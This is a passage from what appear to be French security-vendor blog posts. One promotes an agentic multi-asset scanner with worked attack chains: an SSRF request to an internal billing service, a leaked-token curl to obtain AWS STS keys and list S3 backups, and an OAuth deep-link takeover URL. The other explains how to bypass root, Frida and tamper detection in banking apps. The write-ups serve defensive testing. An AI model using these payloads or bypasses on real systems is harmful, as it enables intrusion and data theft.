│ Discovers internal   │      │ Finds Blind SSRF     │      │ Extracts sensitive        │
│ billing endpoint     │      │ in avatar import     │      │ customer financial data   │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. INGESTION  : Agent indexes architecture docs (architecture_overview.md)  │
│                 Identifies: http://10.0.4.12:8080/internal/billing/export    │
│ 2. RECON      : Agent crawls public web portal (app.target-company.com)      │
│                 Locates image import: POST /api/v1/profile/avatar-fetch     │
│ 3. HYPOTHESIS : Web app lacks RFC 1918 private IP filtering → SSRF pivot    │
│ 4. EXECUTION  : Agent dispatches SSRF payload targeting internal billing IP │
│ 5. VALIDATION : Server returns raw JSON billing records (Verified PoC)      │
└─────────────────────────────────────────────────────────────────────────────┘

Ingestion de la documentation d'architecture : pendant la phase d'ingestion de la documentation, l'agent indexe les notes de conception d'architecture internes (architecture_overview.md). La documentation détaille un microservice financier interne déployé à http://10.0.4.12:8080/internal/billing/export, en précisant explicitement que le service fonctionne sans authentification parce qu'il se trouve dans le sous-réseau privé interne du VPC.
Découverte de vecteurs dans l'application web : en testant l'application web publique (https://app.target-company.com), l'agent analyse les paramètres de profil utilisateur et identifie un endpoint d'import d'image à /api/v1/profile/avatar-fetch acceptant un paramètre distant image_url.
Synthèse du pivot entre actifs : en corrélant l'IP interne et la route issues de la documentation avec l'URL non validée acceptée par l'application web publique, l'agent formule une hypothèse de pivot : utiliser le vecteur de falsification de requête côté serveur (SSRF) de l'application web pour atteindre le service de facturation interne non authentifié.
Exécution en direct et exfiltration de données vérifiée : l'agent envoie un payload JSON forgé via l'endpoint web public. Le serveur exécute la récupération côté backend vers le sous-réseau interne et renvoie les enregistrements bruts de facturation clients directement dans la réponse HTTP.

POST /api/v1/profile/avatar-fetch HTTP/1.1
Host: app.target-company.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "user_id": "usr_55102",
  "image_url": "http://10.0.4.12:8080/internal/billing/export?format=json&limit=2"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "imported",
  "raw_data": {
    "transactions": [
      {
        "tx_id": "tx_99812",
        "amount": 4250.00,
        "currency": "USD",
        "customer_email": "cfo@enterprise-corp.com",
        "card_last4": "4242"
      },
      {
        "tx_id": "tx_99813",
        "amount": 18900.00,
        "currency": "USD",
        "customer_email": "treasury@fintech-global.io",
        "card_last4": "1098"
      }
    ]
  }
}

Le scan capture automatiquement ce flux de transactions, confirmant l'exploitabilité complète et générant une preuve de concept déterministe, sans aucun tri manuel.

Chaîne d'attaque 2 : fuite de secret dans le code source + API en direct + élévation de privilèges IAM dans le cloud

Les secrets orphelins dans l'historique des commits Git échappent souvent à la détection lors des revues de code de routine tout en conservant des permissions élevées dans les environnements cloud.

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Git Commit History│ ───► │ 2. Live API Gateway  │ ───► │ 3. Cloud Storage / IAM    │
│ Unearths orphaned    │      │ Exchanges token for  │      │ Lists & accesses          │
│ staging deploy token │      │ temporary STS keys   │      │ production database dumps │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. STATIC REPO: Agent scans Git history; extracts stg_deploy_9f8a87b3c1d2e4  │
│ 2. LIVE PROBE : Tests token against live API (api.target-company.com/v1/sts)│
│ 3. PERMISSIONS: Obtains STS credentials; enumerates attached IAM policies   │
│ 4. ESCALATION : Discovers wildcard s3:GetObject & s3:ListBucket privileges  │
│ 5. VALIDATION : Executes live S3 bucket listing of prod database backups    │
└─────────────────────────────────────────────────────────────────────────────┘

Fouille de l'historique des commits du dépôt : l'agent audite le dépôt de code source, y compris les branches de staging non fusionnées et les diffs de commits. Dans un script archivé (scripts/deploy_staging.sh) commité huit mois auparavant, l'agent déterre un jeton de déploiement actif : stg_deploy_9f8a87b3c1d2e4.
Authentification sur l'API en direct : plutôt que de se contenter de générer un avertissement statique sur un secret, l'agent teste l'identifiant candidat auprès de la passerelle d'API de production à https://api.target-company.com/v1/internal/sts/token. La passerelle valide le jeton et émet des identifiants de sécurité cloud temporaires (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN).
Évaluation des frontières IAM du cloud : l'agent inspecte les politiques IAM rattachées au rôle de session assumé (Role/StagingDeployer) et découvre que, si les permissions de calcul sont restreintes, les permissions de stockage contiennent un joker trop permissif : s3:ListBucket et s3:GetObject sur arn:aws:s3:::*.
Vérification en direct de données cloud sensibles : l'agent exécute des requêtes signées contre l'endpoint de stockage cloud, démontrant un accès direct et non autorisé aux sauvegardes de la base de données de production.

# Automated Proof of Concept generated by Multi-Asset Deep Agentic Scan:

# Step 1: Authenticate against live API with discovered repository secret
curl -s -X POST "https://api.target-company.com/v1/internal/sts/token" \
  -H "X-Deploy-Token: stg_deploy_9f8a87b3c1d2e4" \
  -H "Content-Type: application/json"

# Returned Session Credentials:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "AQoDYXdzEJr1...",
#   "Expiration": "2026-09-02T14:00:00Z"
# }

# Step 2: Validate live cloud storage access
aws s3 ls s3://prod-customer-backups-2026/ --region us-east-1

# Output:
# 2026-09-01 04:00:15  14.5GB  prod_db_dump_20260901.sql.gz
# 2026-09-02 04:00:12  14.8GB  prod_db_dump_20260902.sql.gz

Chaîne d'attaque 3 : deep links mobiles + mauvaise configuration OAuth côté web + prise de contrôle de compte

Les configurations côté client des applications mobiles croisent souvent de façon dangereuse les fournisseurs d'identité côté serveur lors des flux d'authentification par authentification unique (SSO).

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Mobile Decompile  │ ───► │ 2. Web OAuth Server  │ ───► │ 3. Account Takeover       │
│ Uncovers exported    │      │ Identifies wildcard  │      │ Intercepts auth codes via │
│ custom deep link URI │      │ redirect_uri scheme  │      │ malicious redirect chain  │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. DECOMPILE  : Agent decompiles Android manifest & locates exported handler│
│                 Activity: OAuthRedirectActivity (scheme: myapp://auth/cb)   │
│ 2. CODE AUDIT : Activity accepts code & exchanges tokens without PKCE/state │
│ 3. OAUTH PROBE: Web OAuth server allows custom URI schemes for public client│
│ 4. SYNTHESIS  : Agent constructs crafted authorization URL with deep link   │
│ 5. VALIDATION : Intercepts authorization code, proving account takeover PoC │
└─────────────────────────────────────────────────────────────────────────────┘

Rétro-ingénierie des deep links mobiles : en décompilant le paquet d'application Android (.apk), l'agent analyse AndroidManifest.xml et découvre une Activity exportée configurée pour gérer des callbacks de deep link personnalisés :

<activity android:name=".ui.auth.OAuthRedirectActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="auth" android:path="/callback" />
    </intent-filter>
</activity>

Audit de l'échange de jeton côté client : dans OAuthRedirectActivity.kt, l'agent découvre que lorsque l'application reçoit un intent contenant un code d'autorisation (myapp://auth/callback?code=...), elle échange immédiatement le code d'autorisation contre un jeton de session sans valider le paramètre state ni imposer PKCE (Proof Key for Code Exchange).
Sondage des endpoints OAuth web : en testant le serveur d'autorisation OAuth 2.0 web (https://auth.target-company.com/oauth/v2/authorize), l'agent découvre que le serveur autorise des schémas d'URI personnalisés pour des identifiants de client publics et effectue une validation par regex laxiste du paramètre redirect_uri.
Synthèse de la PoC de prise de contrôle de compte : l'agent construit un lien d'autorisation d'exploitation :

https://auth.target-company.com/oauth/v2/authorize?client_id=web_client_public&response_type=code&redirect_uri=myapp://auth/callback&scope=openid%20profile%20email

Lorsqu'une victime authentifiée visite ce lien, le serveur OAuth émet un code d'autorisation et redirige directement vers le schéma d'URI mobile personnalisé. Toute application malveillante enregistrée sur l'appareil ou tout gestionnaire de redirection web factice intercepte le code d'autorisation, ce qui aboutit à une prise de contrôle de compte complète, sans aucune interaction.

Le changement de paradigme : un red teaming autonome sur un graphe cognitif unifié

Les approches traditionnelles tentent de combler les silos d'outils en exécutant des scanners distincts en parallèle et en agrégeant leurs résultats dans un tableau de bord central de gestion des vulnérabilités.

Cette agrégation échoue parce que l'agrégation n'est pas la corrélation, et la corrélation n'est pas le raisonnement.

Un tableau de bord affichant un secret statique issu de Git à côté d'un port ouvert détecté par un scan réseau ne peut pas reconnaître que ce secret déverrouille l'API de ce port. Multi-Asset Deep Agentic Scan représente un changement de paradigme fondamental : une red team autonome opérant sur un graphe cognitif unifié.

┌─────────────────────────────────────────────────────────────────────────────┐
│                   UNIFIED COGNITIVE ATTACK GRAPH                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                       │
            ┌──────────────────────────┼──────────────────────────┐
            ▼                          ▼                          ▼
    [Documentation]             [Mobile Binary]            [Source Code]
    - Routes & Endpoints        - Cryptographic signing    - Logic bypass flaws
    - Internal network IP       - Exported deep links      - Leaked secrets
            │                          │                          │
            └──────────────────────────┼──────────────────────────┘
                                       ▼
                       [Dynamic Hypothesis Engine]
                     "Can Secret A unlock API Route B?"
                     "Can SSRF C reach Internal Service D?"
                                       │
            ┌──────────────────────────┴──────────────────────────┐
            ▼                                                     ▼
     [Live Web Application]                               [Cloud Infrastructure]
     - Runtime parameter testing                          - IAM privilege evaluation
     - Live exploit verification                          - Data access proof
                                       │
                                       ▼
                     [Verified Proof of Concept (PoC)]
                     Zero Hallucinations · 100% Signal

Le cycle de raisonnement autonome entre actifs

Au lieu d'exécuter des scripts linéaires, Multi-Asset Deep Agentic Scan exécute une boucle cognitive itérative sur tous les actifs fournis :

Ingestion des entités et des relations : chaque route découverte dans la documentation, chaque algorithme cryptographique décompilé depuis une application mobile, chaque branche de code analysée depuis Git et chaque paramètre observé dans le trafic web est cartographié comme un nœud interconnecté au sein d'un graphe sémantique partagé.
Formulation dynamique d'hypothèses : lorsqu'une nouvelle preuve est mise au jour dans un actif, le moteur cognitif formule des hypothèses de sécurité actives sur les autres actifs du périmètre (par ex. « Le paramètre de contournement trouvé dans auth_middleware.py fonctionne-t-il sur l'endpoint en direct /api/v2/user/elevate-tier découvert dans la documentation OpenAPI ? »).
Synthèse ciblée de payloads : l'agent synthétise des payloads d'exploitation sensibles au contexte, qui combinent les paramètres issus des schémas, la logique de signature issue des binaires et les secrets issus du code.
Exécution en direct et vérification de l'état : l'agent envoie les payloads contre des environnements d'exécution réels, observe les réponses et adapte sa stratégie en fonction du retour du serveur.
Livraison d'une preuve de concept déterministe : les vulnérabilités ne sont signalées qu'après une vérification réussie en direct, ce qui garantit que chaque alerte du rapport final est étayée par une preuve de concept reproductible et validée.

Des tests approfondis pour chaque actif, une investigation connectée entre eux

Multi-Asset Deep Agentic Scan ne sacrifie pas la profondeur propre à chaque actif au profit d'une large couverture entre actifs. Chaque actif inclus dans une évaluation est analysé avec des scanners spécialisés et des agents spécifiques à son domaine :

Applications mobiles : analyse statique et dynamique complète, décompilation de binaires, manipulation d'intents, audit cryptographique et inspection du stockage côté client.
Applications web et API : crawl approfondi avec état, test des flux d'authentification, évaluation de la logique métier, tests d'injection et validation des schémas OpenAPI.
Dépôts de code source : analyse du flux de contrôle au niveau de l'AST, suivi des données contaminées, audit de la logique d'autorisation et inspection des secrets dans l'historique des commits.
Services réseau et cloud : énumération des services, vérification des politiques de périmètre et test des frontières IAM du cloud.
Documentation et spécifications : ingestion des spécifications OpenAPI/Swagger, des collections Postman, des schémas d'architecture et de la documentation d'ingénierie interne.

┌─────────────────────────┬───────────────────────────────────┬───────────────────────────────────┐
│ Assessment Capability   │ Traditional Siloed Scanners       │ Multi-Asset Deep Agentic Scan     │
├─────────────────────────┼───────────────────────────────────┼───────────────────────────────────┤
│ Attack Surface Scope    │ Single asset per scan             │ Unified multi-asset application   │
│ Cross-Boundary Pivots   │ Impossible (Strictly isolated)    │ Native multi-hop reasoning        │
│ Authentication Handling │ Blocked by custom headers/crypto  │ Reverses client auth & signatures │
│ Finding Validation      │ Theoretical alerts & warnings     │ Executable, verified PoCs         │
│ False Positive Rate     │ High (Requires manual triage)     │ Reduced (Execution-verified)      │
│ Context Sharing         │ Zero context between tools        │ Real-time unified cognitive graph │
└─────────────────────────┴───────────────────────────────────┴───────────────────────────────────┘

Un seul profil pour des actifs applicatifs liés

Un Multi-Asset Deep Agentic Scan peut inclure :

Un actif mobile, sélectionné depuis un store d'applications (Google Play ou Apple App Store) ou importé directement sous forme de fichier APK, AAB ou IPA.
Des applications web et des API web, configurées avec des identifiants d'authentification ou des définitions OpenAPI/Swagger.
Des plages réseau et des périmètres cloud, ciblant les plages d'IP publiques, les domaines et les endpoints cloud.
Des dépôts de code et des archives de code source, prenant en charge les dépôts Git, les archives zip et les dépôts privés.
Des fichiers de documentation complémentaires, notamment des spécifications OpenAPI/Swagger, des collections Postman, des PDF d'architecture et des documents de conception en Markdown.

Plusieurs actifs non mobiles peuvent être ajoutés à une évaluation sans restriction. Tous les actifs fournis partagent la configuration du scan, échangent des renseignements en temps réel et alimentent un seul rapport de sécurité consolidé.

Les utilisateurs peuvent choisir entre les Cybermodels d'Ostorlab ou fournir leurs propres clés d'API via Bring Your Own Key (BYOK). Les évaluations peuvent être configurées selon trois niveaux d'effort distincts :

Core : validation rapide et automatisée entre actifs, pour les pipelines CI/CD et les cycles de livraison continus.
Advanced : exploration agentique approfondie à plusieurs sauts, conçue pour les audits de conformité et de sécurité planifiés.
Elite : red teaming autonome exhaustif, avec exploration approfondie d'hypothèses et synthèse complète des chemins d'attaque.

Un périmètre connecté pour les applications modernes

Les applications modernes sont des écosystèmes distribués et interconnectés. Les sécuriser exige des tests de sécurité qui reflètent la façon dont les logiciels sont réellement construits, et la façon dont les attaquants s'introduisent réellement.

Multi-Asset Deep Agentic Scan offre aux équipes sécurité une capacité de test autonome, transversale aux frontières, qui examine chaque actif en profondeur, suit les pistes d'un système à l'autre et prouve le risque métier réel grâce à des preuves de concept validées.

Lancer un Multi-Asset Deep Agentic Scan pour évaluer dès aujourd'hui votre écosystème applicatif connecté.

Contourner le shielding des applications mobiles : là où la détection s'arrête et où l'application des mesures échoue

2026-08-12T10:20:00+02:00

Le shielding des applications mobiles est une protection compilée dans l'application elle-même. Il est vendu sous les noms de RASP, d'anti-tampering, d'anti-hooking, de détection du root, de détection du jailbreak ou de protection à l'exécution, et la promesse est toujours la même : si l'application se retrouve sur un téléphone rooté, dans un émulateur, sous Frida, attachée à un débogueur ou repackagée, elle doit s'en apercevoir et réagir.

Cette promesse comporte deux moitiés, et elles échouent indépendamment l'une de l'autre.

La détection consiste à décider que quelque chose ne va pas. L'enforcement consiste à agir en conséquence.

Un produit peut détecter le root à la perfection et ne rien protéger, si l'application ignore la réponse, fait passer toutes les réponses par une seule branche faible, ou fait confiance à une entrée que l'attaquant contrôle.

Nous avons évalué cinq applications bancaires en production, sur Android et iOS, protégées par quatre produits de shielding commerciaux différents. La détection était systématiquement bonne. C'est systématiquement l'enforcement qui cédait.

Premier symptôme : un crash conçu pour ne rien vous apprendre

Le scan a installé la première application sur un appareil de test et l'a lancée. Cinq secondes plus tard, le processus avait disparu. Pas de boîte de dialogue, pas d'erreur, rien dans les logs.

Le rapport de crash :

signal 11 (SIGSEGV), fault addr 0x0
x0=0xdef040f0  x1=0x738416ae  x4=0x2319d258  x5=0xbd7d47fb
x6..x30=0      sp=0      pc=0
tid: Thread-7x

Le signal 11 est SIGSEGV, une erreur de segmentation : le processus a accédé à la mémoire d'une manière que le noyau a refusée. Jusque-là, rien d'inhabituel. Le dump des registres, en revanche, l'est.

Sur ARM64, pc est le compteur de programme, l'adresse de l'instruction en cours d'exécution. sp est le pointeur de pile, qui ancre la pile d'appels. x0 à x30 sont les registres généraux, qui contiennent les arguments, les valeurs de retour et les variables locales. Dans un vrai crash, ces valeurs sont conservées, et c'est précisément ce qui rend un rapport de crash utile : le compteur de programme désigne l'instruction fautive, et le pointeur de pile permet à un débogueur de remonter la chaîne des appelants.

Ici, ils sont tous à zéro. Il n'y a aucune instruction fautive à examiner et aucune pile à dérouler. L'unique frame du backtrace indique #00 pc 0x0 <unknown>.

Quelque chose a délibérément effacé le fichier de registres avant de laisser mourir le processus. Le thread désigné dans le rapport, Thread-7x, est un worker générique sans rapport avec la décision. Et 0xdef040f0 n'est pas un pointeur plausible sur cette plateforme ; il se comporte comme un marqueur laissé en place par le code de protection.

C'est un schéma courant dans les applications durcies. Au lieu d'annoncer son verdict, l'application détruit les preuves forensiques en sortant, de sorte qu'un analyste ne sait ni quelle vérification s'est déclenchée ni où elle se trouve.

Figure 1 : le crash laissé par l'application

Tous les registres généraux sont à zéro, et le backtrace se résume à une seule frame inconnue.

Ce que ces produits surveillent réellement

La première tâche est de dresser un inventaire : que vérifie ce produit ?

L'analyse statique a trouvé environ trente fonctions de détection natives, toutes enregistrées dans une seule classe Java au chargement.

Ce détail compte plus qu'il n'y paraît. Les applications Android accèdent au code natif C ou C++ via JNI, la Java Native Interface. Une bibliothèque native peut exposer une fonction à Java de deux manières. Elle peut exporter un symbole au nom décoré comme Java_com_example_Foo_bar, visible par quiconque exécute nm sur la bibliothèque. Ou elle peut appeler RegisterNatives pendant JNI_OnLoad et lier les méthodes dynamiquement à l'exécution.

Cette bibliothèque emprunte la seconde voie : aucun nom de détecteur n'apparaît donc parmi les symboles exportés. Il faut lire la table d'enregistrement ou observer le processus à l'exécution pour les trouver :

JNI_OnLoad              @ 0x424264
checkHooks              @ 0x424e50     scans the process memory map
checkForFridaAgent      @ 0x424c38
isSuExists              @ 0x424940
isFoundMagisk           @ 0x425a90
isFoundDangerousProps   @ 0x424810
isPermissiveSelinux     @ 0x4248e8
getNativeSignature      @ 0x42ca00     hashes the signing certificate

Quatre catégories sont représentées, et chacune répond à une question différente.

La détection du root cherche des indices que l'appareil accorde des privilèges élevés : binaires su sur le disque, artefacts de Magisk, chemins système accessibles en écriture, SELinux en mode permissif, paquets de gestionnaires de root. Le root est important parce qu'il permet à un attaquant de lire le stockage privé de l'application, de s'attacher au processus et de modifier son comportement à l'exécution.

La détection du hooking cherche les frameworks qui réécrivent le comportement des fonctions à l'exécution : Frida, Xposed, LSPosed, Zygisk, Substrate, SandHook, Taichi, VirtualXposed. Un hook peut changer la valeur de retour d'une fonction sans toucher à l'APK sur le disque, et c'est précisément ainsi que les contrôles de sécurité côté client sont mis en échec.

checkHooks lit /proc/self/maps. Sous Linux et Android, ce fichier liste toutes les régions mémoire mappées dans le processus courant, avec leurs permissions et le fichier qui les sous-tend. Si une bibliothèque étrangère ou une région exécutable anonyme y apparaît, l'application peut en déduire qu'elle est instrumentée.

La vérification de la signature est assurée par getNativeSignature, qui calcule le hachage du certificat de signature de l'application à l'exécution. Android exige que chaque APK soit signé. Un attaquant qui modifie et repackage une application doit la re-signer, généralement avec une autre clé ; comparer le certificat à l'exécution à un hachage attendu permet donc de détecter un repackaging naïf.

La détection des propriétés dangereuses lit les propriétés système d'Android, des paires clé-valeur que l'OS utilise pour publier la configuration du build et de l'appareil : ro.build.tags, ro.debuggable, ro.secure, ro.hardware, ro.product.model. Les images d'émulateur et les builds d'ingénierie y laissent des valeurs reconnaissables.

Sous ce produit payant se trouvent encore trois autres contrôles provenant d'éditeurs sans lien entre eux : une deuxième vérification du root issue d'une bibliothèque open source gratuite, une troisième dans le code Dart compilé de l'application elle-même, et la télémétrie d'un quatrième. Le manifeste déclare même des entrées <queries> afin que le gestionnaire de paquets réponde aux questions sur les paquets su, Magisk et KingRoot.

Quatre contrôles indépendants dans une même application, quatre avis indépendants sur le même appareil. Cela compte à la fin.

Ce n'est pas une implémentation superficielle. La faiblesse n'est pas l'absence de détection. C'est ce à quoi l'application fait confiance, et ce qu'elle fait de la réponse.

Pourquoi lire la vérification ne fonctionne pas

Trois couches se dressent entre un analyste et cette logique, et toutes trois remplissent leur rôle.

Le niveau Java est un leurre. L'application embarque 4 129 blobs chiffrés à la place des corps de méthodes, déchiffrés et exécutés uniquement au lancement. Les classes qui comptent, y compris l'activité principale, ne figurent pas sous forme lisible dans le fichier. Un décompilateur montre la structure et quelques sites d'appel, pas le comportement.

La bibliothèque native est packée. Chiffrée au repos, avec un seul symbole exporté, son contenu réel n'existe en mémoire qu'après le démarrage. Une bibliothèque porte un nom de fichier aléatoire et un nom d'export aléatoire :

libGHDSDFIUPOIFDLS8DSFN23LK.so
    export: _3Wbwdz5QepMbJNn8CiW3HwFivKZsZoNvu

Le scan a donc extrait la bibliothèque déchiffrée du processus en cours d'exécution et a regardé à nouveau. Les vérifications n'y étaient toujours pas.

Les vérifications sont générées à l'exécution. Le code déchiffré émet 69 appels système. Sur ARM64, un appel système est une instruction svc, avec le numéro d'appel dans le registre x8 ; un désassembleur peut donc normalement lire quelle fonction du noyau est demandée. Dans 64 de ces sites, le numéro est une constante. Dans les cinq autres, l'application le calcule pendant l'exécution, ce qui rend ces cinq sites invisibles à l'analyse statique.

L'un des cinq se résout en mmap demandant une seule page avec PROT_READ | PROT_WRITE | PROT_EXEC. Il le fait environ toutes les 85 millisecondes. Il écrit du code dans la page, l'exécute, puis la rejette.

Une mémoire à la fois inscriptible et exécutable est inhabituelle par conception. Les systèmes modernes séparent ces deux permissions, car une mémoire dans laquelle on peut écrire puis exécuter est ce qui rend l'injection de code possible. Les packers et les protecteurs l'utilisent malgré tout, précisément pour cela : produire des vérifications qui n'existent jamais comme code stable à une adresse stable.

Les chaînes sont construites, pas stockées. Rechercher qemu, goldfish ou emulator dans la bibliothèque entièrement déchiffrée ne renvoie aucun résultat. L'application assemble ces chaînes caractère par caractère sur la pile, si bien qu'elles n'existent jamais sous forme de texte contigu que l'on pourrait chercher avec grep.

Les noms de méthodes sont des caractères Unicode d'apparence identique. Une seconde application, protégée par un autre produit, joue au même jeu en Java. Le décompilateur affiche m13674 ; le vrai nom à l'exécution est ˎ, une lettre modificatrice Unicode. Il affiche m13676 ; le vrai nom est Ι, un iota majuscule grec qui s'affiche de façon identique à un i majuscule latin.

Un hook écrit à partir du nom donné par le décompilateur ne se déclenche tout simplement jamais. Pas d'erreur, pas d'échec, et il est facile de prendre ce silence pour une protection plus forte qu'elle ne l'est. Résoudre les méthodes par leur signature de type plutôt que par leur nom évite le problème, et c'est pourquoi les hooks présentés plus loin dans cet article fonctionnent du premier coup.

Mesurer l'application de l'extérieur

Quand le code est conçu pour être illisible, mieux vaut arrêter de le lire et l'observer.

Le scan a attaché une trace au niveau du noyau, qui observe de l'extérieur du processus et ne laisse rien à l'intérieur qui puisse être détecté, puis a enregistré chaque fichier ouvert par l'application pendant le démarrage :

opens ~150 property files, three times each
reads /proc/self/maps three times
reads /proc/self/status, /proc/self/comm, /sys/fs/selinux/context
opens the virtual device files: 0 times
opens any su or root path: 0 times

Pour ceux qui n'ont pas passé de temps dans /proc : c'est un système de fichiers virtuel que le noyau génère à la demande, et /proc/self est la vue qu'a le processus appelant de lui-même. maps liste les régions mémoire mappées. status contient les métadonnées du processus, notamment TracerPid, l'identifiant du processus qui trace actuellement celui-ci. comm est le nom du processus. /sys/fs/selinux/context indique le contexte de sécurité SELinux sous lequel le processus s'exécute.

Le résultat a tout remis en perspective. Presque tout le monde suppose que cette catégorie de vérification cherche su sur le disque et les nœuds de périphériques d'émulateur. Celle-ci n'ouvre ni l'un ni l'autre, pas une seule fois. La décision au démarrage repose sur les valeurs des propriétés, sur la carte mémoire du processus lui-même et sur son état de traçage. Deux de ces trois éléments sont modifiables par un utilisateur privilégié.

L'analyse statique a produit une liste de vérifications susceptibles d'avoir de l'importance. La trace a montré lesquelles s'exécutent réellement.

Le contrôle des propriétés tombe avec une écriture de fichier

Android publie les propriétés système via une région de mémoire partagée exposée sous forme de fichiers dans /dev/__properties__/. Les bibliothèques les lisent via __system_property_get ; les valeurs sont conservées en mémoire, et sur un appareil rooté elles peuvent être modifiées sur place avant le lancement de l'application. Le contrôle n'effectue aucune vérification d'intégrité ni d'authenticité sur ce qu'il y lit.

Avant l'écriture :

signal 11 (SIGSEGV), fault addr 0x0
x0=0xdef040f0, pc=0, sp=0
crash report: GENERATED

Après :

no crash report
process alive
UI drawn
native libraries loaded

Figure 2 : après l'écriture des propriétés

Le kill cesse de se produire. Aucun patch de l'APK, aucun hook, aucune modification de l'application.

Cela ne rend pas les vérifications de propriétés inutiles. Cela les rend non faisant autorité. Si un attaquant disposant du root peut réécrire la valeur, l'application a besoin de recouper des signaux indépendants, ou d'un enforcement qui ne s'effondre pas lorsqu'un seul signal bascule.

Pourquoi le fichier d'index est important

C'est plus délicat qu'il n'y paraît, et le mode de défaillance mérite d'être connu.

Ce répertoire contient deux structures différentes : les enregistrements prop_info qui stockent chaque propriété, et un index sérialisé distinct servant à résoudre le nom d'une propriété vers son enregistrement. Toute recherche par nom passe par l'index. Un rechercher-remplacer aveugle sur les fichiers le corrompt.

Les dégâts se dissimulent alors eux-mêmes. L'énumération des propriétés parcourt directement les enregistrements et continue de fonctionner, en renvoyant environ 460 entrées, alors que demander une propriété isolée par son nom ne renvoie rien. Toutes les bibliothèques qui lisent une propriété au démarrage cessent de fonctionner, de façons qui semblent sans rapport avec ce que vous venez de faire.

Le scan identifie donc les vrais enregistrements d'après leur forme avant d'écrire, puis vérifie son propre travail au lieu de lui faire confiance :

properties : 465  (was 465)
sdk        : '31'
giveaways  : 0

Le nombre de propriétés est inchangé, une recherche connue se résout toujours, les indices révélateurs ont disparu. Ce n'est qu'ensuite qu'il lance l'application. Un contournement qui fonctionne en saccageant l'environnement n'est pas un contournement.

La détection de Frida est en réalité une détection de timing

Frida est la boîte à outils d'instrumentation dynamique de référence pour ce travail. Elle injecte un agent dans un processus en cours d'exécution et permet de hooker des méthodes Java, des fonctions natives et des appels système.

Face à ces applications, elle meurt immédiatement. Un débogueur, sans doute plus intrusif, tourne aussi longtemps qu'on le souhaite.

debugger attaches 1.9s after launch   ->  ran 120 seconds, no complaint
Frida attaches 1.0s after launch      ->  killed
Frida launches together with the app  ->  killed

L'application lit /proc/self/status une seule fois, au début. L'une des lignes de ce fichier est TracerPid, qui vaut 0 quand rien ne trace le processus et contient sinon l'identifiant du processus traceur. Les débogueurs utilisent ptrace, ils le renseignent donc. L'injection de Frida utilise aussi ptrace brièvement, pour détourner un thread et lui faire charger l'agent.

La vérification ne s'exécute qu'une seule fois, environ une seconde après le démarrage. Nous l'avons confirmé de la manière la plus simple : attacher un débogueur, reprendre l'exécution, puis ne rien faire du tout pendant 100 secondes. Aucun verdict, l'application reste active. Être observé n'est pas le déclencheur.

Le problème de Frida est son entrée. L'injection laisse deux traces dans cette fenêtre de démarrage : TracerPid renseigné pendant quelques centaines de millisecondes, et un mapping exécutable étranger dans /proc/self/maps là où l'agent a été chargé depuis un fichier anonyme. Le verdict tombe avant que le script de l'agent n'affiche sa première ligne :

{"c":7,"v":1,"p":{"id":107,"name":"Hooking Detected"}}

Certains essaient de renommer les threads et les ports de Frida pour contourner cela. Cela ne change rien, car ce n'est jamais le nom qui a été détecté.

La question que se pose l'application n'est donc pas « est-ce Frida ? ». Elle est plus proche de « quelque chose m'a-t-il tracée ou modifiée pendant cette fenêtre ? ». C'est un autre contrôle, aux conséquences différentes : dès qu'une vérification ne s'exécute qu'une fois à un moment connu, le timing devient une surface d'attaque. On peut arriver avant elle, arriver après elle, ou lancer le processus suspendu et être en place avant que l'application n'exécute sa première instruction. Le scan choisit la dernière option, ce qui lui permet d'atteindre des vérifications qu'un attachement normal ne pourrait jamais voir.

Une seconde application arrive à la même conclusion par un autre chemin. Tracée dès sa toute première instruction, toute la décision tient dans les quatre dernières choses qu'elle fait :

openat(".../split_config.arm64_v8a.apk")
readlinkat("/proc/self/fd/60", ".../split_config.arm64_v8a.apk")
openat("/proc/self/status")
--- SIGBUS {si_code=BUS_ADRALN, si_addr=0x8f19c0bf} ---
+++ killed by SIGBUS +++

SIGBUS avec BUS_ADRALN est une faute d'alignement : une lecture ou une écriture à une adresse que le CPU n'accepte pas pour cette largeur d'accès. Ce n'est pas un crash accidentel courant sur ARM64, et l'adresse fautive est identique à chaque exécution. L'application lit son état de traçage, puis exécute délibérément un accès mal aligné pour se tuer.

Un seul entier décide à huit endroits

La deuxième application Android illustre le point central mieux que n'importe quelle autre de l'ensemble.

Sa protection est sérieuse. Chaînes de détection chiffrées dans la bibliothèque native, noms de classes chiffrés dans le niveau Java, noms de méthodes en caractères Unicode d'apparence identique, et appels système émis sous forme d'instructions svc en ligne plutôt que via libc, de sorte que hooker le wrapper standard syscall() n'attrape strictement rien.

Tout cela converge vers une seule méthode Java. On lui passe un entier aléatoire. Sur un appareil sain, elle renvoie ce même entier.

Chaque site d'enforcement de l'application vérifie cette unique valeur :

j/ma.java:480    if (rd.m13674(ctx, nextInt) != nextInt)
j/ma.java:551    if (rd.m13674(ctx, nextInt2) != nextInt2)
bk/a.java:844    m9379 = rd.m13674(ctx, nextInt) == nextInt ? -91 : 808;
bk/a.java:911    if (rd.m13674(ctx, nextInt2) == nextInt2)
ca/ma.java:2298  if (rd.m13674(ctx, r0) == r0)
ca/b.java:1331   if (rd.m13674(ctx, r0) == r0)
ca/a.java:816    if (rd.m13674(ctx, r0) == r0)
